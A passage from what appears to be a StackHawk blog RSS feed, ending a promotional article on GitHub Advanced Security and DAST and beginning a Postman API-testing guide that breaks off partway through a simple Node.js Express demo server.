apart:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Proactive Vulnerability Detection:&lt;/b&gt; Instead of reacting to security issues after they surfaced, GitHub Advanced Security helps you proactively find and mitigate security vulnerabilities &lt;i&gt;before&lt;/i&gt; they reach production. This shift-left approach saves you time, money, and headaches in the long run.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Seamless Integration:&lt;/b&gt; GitHub Advanced Security is built directly into the GitHub platform, meaning you don’t have to juggle separate tools or disrupt your existing workflows. It’s security that works the way you do, right from within GitHub.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Coverage:&lt;/b&gt; GitHub Advanced Security provides a wide range of security capabilities to address various aspects of application security. It’s a one-stop shop for securing your codebase with tools to cover many of the most important angles.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automation for Efficiency:&lt;/b&gt; Many features within GitHub Advanced Security are automated, allowing you to streamline your security processes and focus on what matters most: building great software while automation takes care of the rest.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By integrating these powerful features into your development process, GitHub Advanced Security gives developers a better way to build secure software without sacrificing speed or agility.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using GitHub Advanced Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Want to start using GitHub Advanced Security? Getting started with GitHub Advanced Security is surprisingly easy. It&amp;#39;s designed to integrate seamlessly with your existing GitHub workflow so you can enhance your security posture without disrupting the development processes you&amp;#39;ve already come to build and love within GitHub.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how you can start leveraging GitHub Advanced Security:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Enable GitHub Advanced Security:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;If you&amp;#39;re using GitHub Enterprise Cloud, you can enable GitHub Advanced Security at the organization or repository level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;For GitHub Enterprise Server, you&amp;#39;ll need to install the Advanced Security license on your instance.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;2. Configure the features you need:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code scanning:&lt;/b&gt; Choose the languages and query suites you want to use to analyze your code. You can also customize the frequency of scans and configure alerts based on severity levels.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secret scanning:&lt;/b&gt; Enable secret scanning alerts to detect leaked credentials and prevent new secrets from entering your codebase.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dependency review:&lt;/b&gt; Configure dependency review to get alerts about vulnerable dependencies and automatically generate pull requests to update them.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;3. Integrate with your workflow:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Actions:&lt;/b&gt; Use GitHub Actions to automate security checks and integrate them into your CI/CD pipeline. For example, you can trigger code scanning on every pull request to ensure that new code changes don&amp;#39;t introduce vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Apps:&lt;/b&gt; Extend the functionality of GitHub Advanced Security with GitHub Apps. Several security-focused apps can enhance your security posture, such as those that provide vulnerability management or security reporting.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;4. Monitor and respond to alerts:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Regularly review your security alerts and prioritize them based on their severity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use the information in the alerts to understand the vulnerabilities and take appropriate action to remediate them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Collaborate with your team to address security issues and improve your overall security posture.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these steps to get set up with GitHub Advanced Security, you can significantly enhance the security of your code and reduce the risk of security breaches. With the number of features GitHub Advanced Security offers, we should briefly cover some of the key highlights before looking at the platform&amp;#39;s best practices.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Code Scanning and Code Scanning Alerts: Find and Fix Vulnerabilities Fast&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Powered by the CodeQL engine, GitHub&amp;#39;s code scanning analysis goes beyond basic checks to deeply analyze your code and identify a wide range of security flaws, like SQL injection and cross-site scripting (XSS). Here is how the CodeQL engine works to identify vulnerabilities it can statically detect in the code:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Analyze:&lt;/b&gt; CodeQL analyzes your codebase to understand how data flows through your application when you push code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify:&lt;/b&gt; CodeQL uses a vast database of queries to pinpoint common security vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Alert:&lt;/b&gt; When a potential vulnerability is found, you get a detailed alert with information about the issue, its location, and its severity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Remediate:&lt;/b&gt; Code scanning guides developers on how to fix the identified vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;With this type of scan, developers and organizations get quite a few advantages. Here are the three most important to highlight:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early detection:&lt;/b&gt; Find and fix vulnerabilities and code errors that can impact security before they reach production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduced costs:&lt;/b&gt; Addressing vulnerabilities early is significantly cheaper than fixing them later in the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved code quality:&lt;/b&gt; Write cleaner, more robust code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Another neat part of CodeQL is adding the extension directly to VS Code. With the extension, you can query the code directly in your VS Code instance to identify and remedy any vulnerabilities before you commit them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Compliance and Integrations: Seamless Security for Your Ecosystem&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;GitHub Advanced Security isn&amp;#39;t just about finding and fixing vulnerabilities; it&amp;#39;s also about building a secure development ecosystem that aligns with industry standards and integrates seamlessly with your existing tools.&lt;/p&gt;&lt;p&gt;When it comes to compliance, meeting compliance requirements can be a complex and time-consuming process. By using GitHub Advanced Security, developers can easily access tools that can help them meet various industry standards and regulations, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HIPAA:&lt;/b&gt; Protect sensitive patient health information with features like secret and code scanning to identify and mitigate potential vulnerabilities that could lead to data breaches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PCI DSS:&lt;/b&gt; Secure credit card data and comply with PCI DSS requirements by leveraging secret scanning to detect and protect sensitive cardholder information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GDPR:&lt;/b&gt; Meet GDPR requirements for data privacy and protection by using features like code scanning and secret scanning to identify and address potential vulnerabilities that could expose personal data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Of course, it also helps when tools easily integrate with the tools and processes you already use. For this, GitHub Advanced Security is designed to work seamlessly with other GitHub features and tools for a super-refined workflow. For those already in the GitHub ecosystem, Advanced Security works well with:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Actions:&lt;/b&gt; Automate your security checks by integrating code scanning, secret scanning, and dependency review into your GitHub Actions workflows. This allows you to automatically trigger security scans on every pull request or code change.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Apps:&lt;/b&gt; Extend the functionality of GitHub Advanced Security with security-focused GitHub Apps. These apps can provide additional security capabilities, such as vulnerability management, security reporting, and integration with other security tools.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Enterprise Cloud:&lt;/b&gt; Leverage the power of GitHub Enterprise Cloud to enhance your security posture. GitHub Enterprise Cloud offers advanced security features and controls, including SAML single sign-on, access control, and audit logging.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Best Practices for Using GitHub Advanced Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As with adopting any new tool, it makes sense to understand the best practices. With such a wide array of tools available within the platform, to get the most out of GitHub Advanced Security, here are a few best practices to follow:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enable code scanning&lt;/b&gt;: Code scanning is a feature that scans code for security issues as it is written. Enable code scanning for your repository to identify potential vulnerabilities early on.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use CodeQL&lt;/b&gt;: CodeQL is a code analysis engine developed by GitHub to automate security checks and also add the extension to VS Code. Use CodeQL to identify vulnerabilities in your code and prevent developers from introducing new problems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configure alerts&lt;/b&gt;: Configure alerts to notify you of potential security vulnerabilities in your code. This will help you stay on top of security issues and address them before they become major problems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use secret scanning&lt;/b&gt;: Secret scanning is a feature that identifies secrets, such as API keys and access tokens, in your code. Use secret scanning to prevent sensitive information from being exposed when developers accidentally commit it into a repo.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrate with DAST tools&lt;/b&gt;: Integrate GitHub Advanced Security with DAST tools to provide a comprehensive security testing strategy that covers static and dynamic analysis of your codebase.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Using GitHub Advanced Security with DAST&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although GitHub Advanced Security offers many features to keep code secure, it&amp;#39;s even better when used with Dynamic Application Security Testing (DAST) tools. DAST tools simulate real-world attacks on a web application, identifying vulnerabilities that attackers can actually exploit. This gives developers a view into vulnerabilities that can truly be exploited instead of false positives often found through static code analysis. By integrating GitHub Advanced Security with DAST tools, developers can holistically identify security vulnerabilities in their code and address them before they reach production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What is DAST?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A core component of any AppSec stack, Dynamic Application Security Testing (DAST) platforms analyze your running application to find security vulnerabilities. Unlike static analysis, which examines your code, DAST interacts with your application like a real user or attacker would. This allows these tests to discover vulnerabilities that might only be present when the application is running, such as those related to authentication, authorization, server configuration, or dynamic behavior.&lt;/p&gt;&lt;p&gt;DAST tools like StackHawk test your APIs and applications by simulating attacks against them and analyzing the responses to identify potential security weaknesses. This provides a more accurate picture of your application&amp;#39;s security posture in a real-world environment. By incorporating DAST, you can uncover vulnerabilities that platforms like GitHub Advanced Security might miss. The result is a comprehensive testing and security stack that can help you gain confidence in your application&amp;#39;s defenses and proactively protect against potential breaches.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Level Up Your AppSec: Combining StackHawk and GitHub Advanced Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;While GitHub Advanced Security provides a great foundation for developing secure applications and APIS, integrating a Dynamic Application Security Testing (DAST) solution like StackHawk can further elevate your AppSec program.&lt;/p&gt;&lt;p&gt;As GitHub&amp;#39;s preferred DAST partner, here&amp;#39;s how StackHawk complements GitHub Advanced Security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Uncovers runtime vulnerabilities:&lt;/b&gt; StackHawk excels at finding vulnerabilities that might not be apparent in static code analysis, such as those related to authentication, authorization, server configuration, and the dynamic behavior of your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tests in a real-world environment:&lt;/b&gt; Unlike static analysis, which examines code in isolation, StackHawk tests your application in its running state, providing a more accurate picture of your actual security posture and reducing false positive results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Seamless CI/CD integration:&lt;/b&gt; StackHawk is built for automation in CI/CD, just like GitHub Actions. This allows you to seamlessly integrate security testing into your development pipeline, ensuring that vulnerabilities are caught early and often.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Actionable insights and remediation:&lt;/b&gt; StackHawk goes beyond simply identifying vulnerabilities. It provides detailed reports with clear, actionable remediation guidance, making it easy for developers to understand and fix security issues efficiently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Built for modern applications:&lt;/b&gt; StackHawk is designed with modern architectures in mind, making it ideal for testing APIs and microservices. It can effectively find and fix security bugs in these complex environments, where traditional security tools often struggle.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To start with StackHawk today,&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;sign up for a 14-day free trial&lt;/u&gt;&lt;/a&gt; and combine it with GitHub Advanced Security for a best-in-class security stack. When combining GitHub Advanced Security and DAST, there&amp;#39;s no better companion than StackHawk.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using Postman for Testing API Endpoints: A Practical Guide for Functional API Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/postman-for-testing-apis</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;APIs are essential to modern software, allowing applications to communicate and exchange data. As we use APIs more, making sure they are reliable, fast, and secure is very important. Choosing the right&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;API testing&lt;/u&gt;&lt;/a&gt; tool can significantly help your testing strategy.&lt;/p&gt;&lt;p&gt;This guide is a practical resource on using Postman as a functional API testing tool. Whether you&amp;#39;re experienced with APIs or just starting out, this blog will give you the knowledge and practical skills to use Postman&amp;#39;s powerful features for thorough API testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Introduction to API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before jumping into Postman, let&amp;#39;s first establish a solid understanding of what API testing is. At its core, API testing ensures the functionality, reliability, performance, and&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;security of an Application&lt;/u&gt;&lt;/a&gt; Programming Interface, or API. Unlike UI testing, which focuses on the user interface, API testing directly examines the underlying communication layer between the applications themselves by sending multiple requests to API endpoints and validating the responses.&lt;/p&gt;&lt;p&gt;By concentrating on the core logic and data exchange layer, developers can practice API security testing and enable early issue detection and resolution within the development lifecycle. This approach prevents regressions and guarantees seamless integration among software components.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why is API Testing Important?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Having developers perform API testing is crucial for creating solid and reliable apps. Testing APIs in a dedicated testing environment lets developers find and fix bugs early, minimizing potential issues later on. This method enhances test coverage, addressing more scenarios and edge cases than UI tests.&lt;/p&gt;&lt;p&gt;API tests enable faster development cycles and quicker feedback, speeding up release times. This testing lowers costs, enhances security by finding vulnerabilities, and boosts software quality, improving system performance. API testing is key to the software development lifecycle (SDLC), ensuring APIs meet functionality, reliability, and security requirements.&lt;/p&gt;&lt;p&gt;API testing also unlocks an understanding of how your API handles a wide variety of fail states and successful interactions. Load testing reveals how your API handles increased traffic. Contract testing can help ensure that systems are doing what they should be doing, regardless of traffic volume or intent. Effective testing uncovers security vulnerabilities, highlighting potential issues at scale, including external service validation and early detection. The benefits are extensive, from regression tests and beyond!&lt;/p&gt;&lt;p&gt;Effective API testing requires a deep understanding of the API&amp;#39;s purpose, expected behavior, and underlying technologies. By combining manual testing and test automation, developers can build robust, reliable, and&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt; &lt;u&gt;secure APIs&lt;/u&gt;&lt;/a&gt; that seamlessly integrate with other software components at scale.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Getting Started with Postman&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Postman is a versatile API platform that streamlines API lifecycle management with tools for building, testing, documenting, and sharing. Its ease of use and extensive capabilities make it a favorite among developers for various use cases and deployments.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how to get started:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Download and Installation&lt;/b&gt;&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.postman.com&quot;&gt;&lt;u&gt;Visit the official Postman website&lt;/u&gt;&lt;/a&gt; to download the appropriate version for your operating system, be it Windows, macOS, or Linux.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Follow the on-screen instructions to install Postman on your machine.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Creating a Postman Account&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Using Postman without an account is possible, but creating one offers extra features such as workspace syncing, team collaboration, and access to the Postman API Network. Simply follow the prompts to create an account with accurate contact details for verification.&lt;/p&gt;&lt;p&gt;After account creation, you can start using the application.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Exploring the Postman Interface&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before using Postman, familiarize yourself with the key components in the Postman interface:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Workspace:&lt;/b&gt; This is the main area where you organize your API requests and collections.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Sidebar:&lt;/b&gt; The sidebar provides access to workspaces, history, collections, and APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Request Builder:&lt;/b&gt; This is the central area where you compose your API requests, including the URL, method, headers, and body.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Response Viewer:&lt;/b&gt; This area displays the API response, including the status code, headers, and body.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Organizing and Running API Tests in Postman&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Postman offers robust features to organize and run your API testing process efficiently.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore how to structure and write tests to maximize effectiveness.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Collections&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Collections allow you to organize related API requests into folders and manage their execution sequence. Think of collections as test suites for your APIs - by grouping related requests, you can easily run tests for specific application functionalities or modules.&lt;/p&gt;&lt;p&gt;To further organize your tests, create folders within collections. This allows for a hierarchical structure, enabling you to categorize requests by functionality, endpoint, or any other relevant criteria.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Variables&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman supports environment variables, global variables, and collection variables. Using variables makes your tests more flexible and maintainable, unlocking more observability and eliminating testing rigidity that might generate false data or make testing difficult at scale. For instance, you can store base URLs, API keys, and authentication tokens as variables, allowing you to easily switch between different environments (e.g., development, staging, production) without modifying your requests.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Collection Runner&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Collection Runner is a powerful tool for executing a series of API requests in a defined sequence. This facilitates automated API testing, enabling single-click test suite execution, running tests across collections or specific folders, customizable iterations for test versioning, and setting request delays. The Collection Runner provides detailed test results for each API request, including pass/fail status, response times, and error messages.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data-Driven Testing with CSV and JSON Files&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman allows you to import data from CSV or JSON files for data-driven testing, which allows you to run the same requests with different sets of data, increasing test coverage and efficiency. This allows you to test various scenarios and edge cases without manually modifying each request.&lt;/p&gt;&lt;p&gt;You can create well-structured, maintainable, and comprehensive API tests in Postman using these features. This structured approach improves the efficiency of your API testing process and enhances the reliability and accuracy of your API test results.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Writing Effective Test Scripts in Postman&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Writing tests in JavaScript allows for a comprehensive suite that rigorously tests your API&amp;#39;s functionality. The key to this process is to understand the &lt;b&gt;pm object - &lt;/b&gt;through the &lt;b&gt;pm object&lt;/b&gt;, you can access request details like URLs, headers, and body content and retrieve response information such as status codes, headers, and the response body itself.&lt;/p&gt;&lt;p&gt;To structure your tests effectively, you can leverage the  &lt;code&gt;&lt;b&gt;pm.test()&lt;/b&gt;&lt;/code&gt; function. This function will let you define individual test cases with descriptive names, making your test output clear and informative. Within each test case, employ the ChaiJS BDD syntax for expressive assertions, which will ensure that your code is readable and easy to understand. For instance, you can easily assert that the response status code is 200 using &lt;code&gt;&lt;b&gt;pm.response.to.have.status(200)&lt;/b&gt;&lt;/code&gt;, or that the response body contains specific data using &lt;code&gt;&lt;b&gt;pm.expect(jsonData.name).to.equal(&amp;quot;John Doe&amp;quot;)&lt;/b&gt;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;When dealing with asynchronous operations, use&lt;code&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;pm.sendRequest()&lt;/b&gt;&lt;/code&gt; function and embrace promises or async/await for clean and efficient code handling. Your tests can become more adaptable by storing and reusing values across requests with dynamic variables. This is particularly valuable for elements like authentication tokens, base URLs, and test data, which might change across different environments or test scenarios.&lt;/p&gt;&lt;p&gt;You can also combine Postman&amp;#39;s data import functionality within your scripts to run the same tests against various datasets, which will significantly expand the coverage of your test API. To streamline this workflow and promote consistency, you can also create reusable functions or snippets for common test scenarios, minimizing code duplication and ensuring uniformity across your tests. By employing these methods, you can transform your Postman tests into detailed evaluations that not only validate but also significantly improve the functionality, reliability, and overall API performance.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Advanced Postman Features for API Testing Process&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To take this a step further, you can use a series of advanced offerings provided by Postman to unlock additional testing options.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Pre-request Scripts&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Pre-request scripts in Postman enable you to execute JavaScript code before a request is sent. This capability allows for dynamic request modification, data setup, and other actions.&lt;/p&gt;&lt;p&gt;For instance, you can generate timestamps or unique IDs to include in your requests, ensuring that each request is distinct and trackable throughout the testing environment. You can take this a step further and set dynamic headers based on environment variables, allowing you to switch these tests seamlessly between different testing environments.&lt;/p&gt;&lt;p&gt;Pre-request scripts also allow you to fetch data from external sources and incorporate it into your request. This can help formulate tests that would require third party data sources or other workflows which would be called as part of the pre-request service method rather than as a result of a specific request.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Post-request Scripts&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Post-request scripts in Postman are executed after receiving a response from the API. Primarily for writing test assertions, their special attributes extend their utility beyond basic validation.&lt;/p&gt;&lt;p&gt;Specifically, these scripts allow you to extract data from the response, which can then be used in subsequent requests, enabling dynamic workflows. You can also store data in environment or global variables for later use, facilitating data persistence across requests, or port data from request to request in a chain, allowing for very complex request flows that might utilize multiple internal pathways. To take this a step further, post-request scripts can be used to trigger entire new workflows, or even send notifications based on the response, allowing you to test notification systems or automated workflows.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Working with Cookies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Cookies are small text files that websites store on a user&amp;#39;s computer to remember information about them, such as login details or preferences. These are often very important in web application interactions, and as such, should be included in certain testing approaches.&lt;/p&gt;&lt;p&gt;Postman provides robust tools for managing cookies, allowing you to simulate various user scenarios and thoroughly test how your API would interact with them. You can easily inspect the cookies exchanged between your requests and the API, giving you valuable insight into session management and user tracking.&lt;/p&gt;&lt;p&gt;Furthermore, Postman allows you to modify or even delete cookies, enabling you to test how your API behaves under different cookie conditions, such as expired sessions or altered user preferences. This granular control over cookies ensures comprehensive testing of how your API handles cookies.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authorization Helpers&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman simplifies working with various authentication methods, providing built-in helpers to streamline the process of securing your API requests. Whether you&amp;#39;re using basic authentication with username and password credentials, API keys for simpler authorization, OAuth 1.0/2.0 for delegated access, or bearer tokens for token-based authentication, Postman has you covered. These built-in helpers assist in generating and managing the necessary authorization headers, making it easier to test APIs that require secure access.&lt;/p&gt;&lt;p&gt;This dramatically simplifies the often complex process of authenticating requests, allowing you to focus on testing the core API development.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Collection Runner and Newman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Collection Runner unlocks advanced API testing in Postman. It allows you to execute a collection of requests sequentially, using data files (CSV or JSON) to test various scenarios with different inputs. You can even schedule collections to run at specific intervals, automatically monitoring your APIs for regressions or performance issues over time.&lt;/p&gt;&lt;p&gt;For more advanced automation, Newman, Postman&amp;#39;s command-line interface, lets you run collections from your terminal or integrate them into your CI/CD pipeline. This provides greater flexibility, allowing you to customize collection runs, generate reports in various formats, and easily integrate with other tools in your development workflow.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integrating with CI/CD&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To achieve continuous testing and ensure your APIs are always thoroughly vetted, integrate your Postman tests directly into your CI/CD pipeline. This automates testing, catching any issues early with every code change. Postman readily integrates with popular CI/CD tools like Jenkins, Travis CI, and CircleCI, making incorporating API testing into your existing workflows easy.&lt;/p&gt;&lt;p&gt;By automating your API tests with Postman, you can create a robust testing framework that helps you confidently deliver high-quality APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Introductory Postman Demo&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Below is an example of a simple Node.js API. This API allows users to perform basic CRUD operations that will allow us to demonstrate the basics of testing an API with Postman.&lt;/p&gt;&lt;p&gt;To run this app, first, ensure you have Node.js installed. Then, create a new directory for your project, ours is named “postman-testing-api-example”, and initialize the directory by running:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You&amp;#39;ll also need to install Express, a popular web framework for Node.js, and a few other dependencies we will use in the project. You’ll do this by running the following npm command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm install express sqlite3&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, in the root of the project we just created, create a file named server.js and add the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const express = require(&amp;#39;express&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const app = express();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const port = 3000;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const sqlite3 = require(&amp;#39;sqlite3&amp;#39;).verbose();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(express.json());&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;
// Initialize the database&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const db = new sqlite3.Database(&amp;#39;:memory:&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;db.serialize(() =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.run(`CREATE TABLE IF NOT EXISTS users (&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    id INTEGER PRIMARY KEY AUTOINCREMENT,&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    name TEXT NOT NULL&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  )`);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  // Insert initial sample data&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.run(`INSERT INTO users (name) VALUES (&amp;#39;Alice&amp;#39;), (&amp;#39;Bob&amp;#39;)`);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// GET /users - Retrieve all users&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/users&amp;#39;, (req, res) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.all(&amp;#39;SELECT * FROM users&amp;#39;, [], (err, rows) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(500).json({ error: err.message });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.json(rows);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  